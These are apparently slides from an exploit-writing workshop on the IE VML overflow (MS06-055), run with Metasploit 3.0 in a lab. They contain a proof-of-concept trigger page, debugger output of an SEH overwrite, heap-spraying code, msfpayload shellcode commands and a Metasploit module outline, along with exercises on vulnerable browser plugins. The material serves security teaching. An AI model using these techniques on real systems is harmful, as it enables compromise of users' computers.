

# Writing Exploits with MSF3.0

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


# Setup and Instructions




- VMWare Player
  - if you don't have VMWare Workstation
- Copy VM Image from CD, unzip the ZIP file
- Administrator password "exploitlab"
- Install MSF 3.0 framework
- We will also need Perl
- Ready?

# From Vulnerability to Exploit



# The CPU's registers

- The Intel 32-bit x86 registers:






# Win32 Process Memory Map



- Each process sees 2GB memory space
- 0x00000000 - 0x7FFFFFFF
- Program Image
- DLLs
- OS components
- DLLs are shared between processes

# Win32 Process Memory Map





# Browser overflows



- Client-side exploits are becoming the rage.
- ActiveX components.
- Media handlers / libraries.
- Toolbars / Plugins.
- Platform specific characteristics.
- Overflows delivered as HTTP responses.
- "Surf-n-crash".



# Browser overflows



- Javascript / Vbscript helps in targeting vulnerable components...
- ...and building up the exploit on-the-fly.
- Javascript is always enabled these days.



# Exploit example - IE VML overflow

- Buffer overflow in IE's VML implementation.
- MS06-055.
- `<v:fillmethod="AAAAAAAAAA...">`
- Exploiting IE 6 on XP SP2.
- Triggering the exploit by overwriting SEH.

# ie\_vml1.html

- proof of concept:

```
<head>
<object id="VMLRender"
        classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>v\:* { behavior: url(#VMLRender); }</style>
</head>

<body>
<v:rect style='width:120pt;height:80pt' fillcolor="red">
<script>
document.write("<v:fill method =\"");
for(i = 0; i < 2625; i++)
    document.write("&#x4141&#x4141&#x4141&#x4141");
document.write(">");
</script>
</v:rect></v:fill></body>
```

# Setting up the exploit

- On your host
  - Run daemon.pl to serve up ie\_vml1.html.

```
$ ./daemon.pl ie_vml1.html  
[*] Starting HTTP server on 8080
```

- On the Windows box:
  - start up iexplore.
  - start up WinDBG.
  - press F6 in WinDBG and attach to iexplore.exe

```
0:005> gh
```

# Crashing IE

- Surf to `http://<your_laptop>:8080/`

```
(18c.584): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0013b4c4 ebx=001df20c ecx=0013b4b8 edx=00004141 esi=0000259e edi=00140000
eip=5deded1e esp=0013b4a0 ebp=0013b6c8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\Program Files\Common Files\Microsoft Shared\VGX\vgx.dll -
vgx!$DllMain$_gdiplus+0x30e8d:
5deded1e 668917             mov     [edi],dx             ds:0023:00140000=6341
0:000> !exchain
0013e420: 41414141
Invalid exception stack at 41414141
```

- The SEH record is overwritten.

# Crashing IE

- Surf to `http://<your_laptop>:8080/`

```
0:000> !exchain
0013e420: 41414141
Invalid exception stack at 41414141
0:000> g
(18c.584): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9037d8 esi=00000000 edi=00000000
eip=41414141 esp=0013b0d0 ebp=0013b0f0 iopl=0         nv up ei pl zr na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
41414141 ??                ???
```


# Exception handling

- Try / catch block

```
try {  
    :           code that may throw  
    :           an exception.  
}  
catch {  
    :           attempt to recover from  
    :           the exception gracefully.  
}
```


- Pointer to the exception handling code also saved on the stack, for each code block.

# Exception handling ... implementation



# Windows SEH

- SEH - Structured Exception Handler
- Windows pops up a dialog box:



- Default handler kicking in.






# Custom exception handlers



- Default SEH should be the last resort.
- Many languages including C++ provide exception handling coding features.
- Compiler generates links and calls to exception handling code in accordance with the underlying OS.
- In Windows, exception handlers form a **LINKED LIST** chain on the stack.

# SEH Record


- Each SEH record is of 8 bytes



- These SEH records are found on the stack.
- In sequence with the functions being called, interspersed among function (block) frames.
- WinDBG command - !exchain


# SEH Chain

- Each SEH record is of 8 bytes



bottom of stack


# SEH on the stack




# Yet another way of getting EIP

- Overwrite one of the addresses of the registered exception handlers...
- ...and, make the process throw an exception!
- If no custom exception handlers are registered, overwrite the default SEH.
- Might have to travel way down the stack...
- ...but in doing so, you get a long buffer!

# Overwriting SEH



# Overwriting SEH



# We Own IE's EIP

- EIP control by overwriting SEH:

```
0:000> !exchain
0013e420: 41414141
Invalid exception stack at 41414141
0:000> g
(18c.584): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9037d8 esi=00000000 edi=00000000
eip=41414141 esp=0013b0d0 ebp=0013b0f0 iopl=0         nv up ei pl zr na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
41414141 ??                ???
```





# EIP = 0x41414141



- We control EIP.
  - Where do you want to go...?
- Direct return to stack?
  - XP SP2 doesn't allow it.
- Jump through registers?
  - EDX, ESP and EBP are the only possible options...but they don't point to our buffer.
  - Other registers are cleared, thanks to XP SP2.
  - XP SP2 also forbids jumping into DLLs.



# Interpreted languages



- Language interpreters use dynamically allocated memory for all their variables.
- Objects in heap memory.
- Data structures such as arrays, lists, hashes, etc.



# Practical Exploitation



- We are exploiting a browser.
- Browsers run Javascript.
- Javascript has arrays.
- Javascript arrays occupy heap memory.
  - the browser's heap memory.



# Loading our buffer in the heap



- Can we load our shellcode in the heap via Javascript?
- How do we know where our buffer lies?
- Direct jump into heap?
  - yes! that is possible.

# Heap Spraying

- Technique pioneered by Skylined.
- Make a VERY large NOP sled.
- Append shellcode at its end.
- Create multiple instances of this NOP sled in the heap memory.
  - using Javascript arrays... `a[0] = str; a[1] = str...`
- The heap gets "sprayed" with our payloads.
- Land somewhere in the NOPs, and you win.


# Heap Spraying

```
<script>
  :
  spray = build_large_nopsled();

  a = new Array();

  for(i = 0; i < 100; i++)
    a[i] = spray + shellcode;
  :
</script>

<html>
  :
  exploit trigger condition
  goes here
  :
</html>
```



# Tips on Heap Spraying

- Make really large NOP sleds
  - approx 800,000 bytes per spray block.
- Adjust the size of the NOP sled to leave very little holes inbetween spray blocks.
- Javascript Unicode encoding works great for shellcode.
  - `shellcode = unescape("%uXXXX%uXXXX...");`
  - Null bytes are not a problem anymore.

# ie\_vml2.html

- On your host
  - Run daemon.pl to serve up ie\_vml2.html

```
$ ./daemon.pl ie_vml2.html  
[*] Starting HTTP server on 8080
```

- On the Windows box
  - start up iexplore
  - start up WinDBG
  - press F6 in WinDBG and attach to iexplore.exe

```
0:005> gh
```



# Crashing IE again

- INT3 shellcode.
- Look for "90 90 90 90 cc cc cc cc" in the memory after IE crashes.

```
0:000> s 02000000 l ffffffff 90 90 90 90 cc cc cc cc
02150020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc .....
02360020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc .....
02570020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc .....
02780020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc .....
02990020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc .....
02ba0020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc .....
02db0020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc .....
02fc0020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc .....
031d0020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc .....
033e0020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc .....
:
:
:
```



# Jump to heap



- We can point EIP to any of the sprayed blocks.
- Arbitrarily choose addresses:
  - 0x03030303
  - 0x04040404
  - 0x05050505...etc.
- Verify if they land in the NOP zones.



# ie\_vml3.html



- Overwrite SEH record with 0x05050505.
- INT 3 shellcode.
- Causes EIP to land into one of the NOP zones...
- ...and eventually reach our dummy shellcode.

# ie\_vml3.html

- Overwriting SEH

```
0:000> g
(148.360): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0013b648 ebx=001dbc94 ecx=0013b63c edx=00000505 esi=000024dc edi=00140000
eip=5deded1e esp=0013b624 ebp=0013b84c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vgx!$DllMain$_gdiplus+0x30e8d:
5deded1e 668917          mov     [edi],dx          ds:0023:00140000=6341

0:000> !exchain
0013e5a4: 05050505
Invalid exception stack at 05050505
```

# ie\_vml3.html

- Landing in the NOP zone...and INT 3

```
0:000> db 0x05050505
05050505  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .....
05050515  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .....
```

```
0:000> g
(148.360): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=05050505 edx=7c9037d8 esi=00000000 edi=00000000
eip=05230024 esp=0013b254 ebp=0013b274 iopl=0         nv up ei pl zr na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
05230024 cc                int     3
```

```
0:000> u
05230024 cc                int     3
05230025 cc                int     3
05230026 cc                int     3
```



# Putting together the shellcode



- Javascript Unicode encoded shellcode.
  - no encoding needed.
- We will run "calc.exe".
- msfpayload - cmdline shellcode generation.

# Generate calc.exe shellcode

- Generate JSencoded shellcode:

```
$ ./msfpayload windows/exec EXITFUNC=seh CMD=calc.exe J
```

- Final version ie\_vml4.html contains working shellcode.
- A slight problem
  - too many CALCs!

# Exit function - "thread" vs. "seh"

- Exiting via SEH causes the whole thing to repeat itself.
- Re-generate the shellcode using `EXITFUNC="thread"`:

```
$ ./msfpayload windows/exec EXITFUNC=thread CMD=calc.exe J
```






# Writing Metasploit exploit modules



- Integration within the Metasploit framework.
- Multiple target support.
- Dynamic payload selection.
- Dynamic payload encoding.
- Built-in payload handlers.
- Can use advanced payloads.
- ...a highly portable, flexible and rugged exploit!

# How Metasploit runs an exploit





# Writing a Metasploit exploit



- Perl module (2.7), Ruby module (3.0)
- Pre-existing data structures
  - def initialize, info, etc.
- Exploit code
  - def exploit

# Structure of the exploit ruby module

```
require 'msf/core'
module Msf

  class Exploits::Windows::Browser::my_ex < Msf::Exploit::Remote

    include Exploit::Remote::HttpServer::HTML

    def initialize(...)

    def check(...)

    def exploit(...)

    def on_request_uri(...)
```



# info



- Name
- Description
- Author
- Version
- References
- Payload
- Platform
- Targets



# Metasploit Rex



- Ruby EXtensions.
  - <metasploit\_home>/lib/rex.rb
  - <metasploit\_home>/lib/rex/
- Text processing routines.
- Socket management routines.
- Protocol specific routines.
- These and more are available for us to use in our exploit code.



# **rex::text**



- Encoding and Decoding (e.g. Base64)
- Pattern Generation
- Random text generation (to defeat IDS)
- Padding
- ...etc



# rex::socket



- TCP
- UDP
- SSL TCP
- Raw UDP





# rex - protocol specific utilities



- SMB
- DCE RPC
- SunRPC
- HTTP
- ...etc



# rex - miscellaneous goodies



- Array and hash manipulation
- Bit rotates
- Read and write files
- Create Win32 PE files
- Create Javascript arrays
- heaplib, seh generator, egghunter
- ...a whole lot of miscellany!



# Finished example



- `my_ie_vml.rb`

# Case study - WinZip ActiveX plugin

- WinZip 10 ActiveX plugin suffers from an overflow.
- PoC in winzip\_ex1.pl
- Use winzip\_ex1.pl to generate an HTML file.
- Use daemon.pl to serve it.

```
c:\laptop> perl winzip_ex1.pl > w1.html  
c:\laptop> perl daemon.pl w1.html
```

- Hack it up! - get calc.exe running



# Case study - LinkedIn Toolbar



- LinkedIn Toolbar 3.0.2.1098
- Vulnerable to a classic overflow attack
- Hack it up!

**Thank you!**

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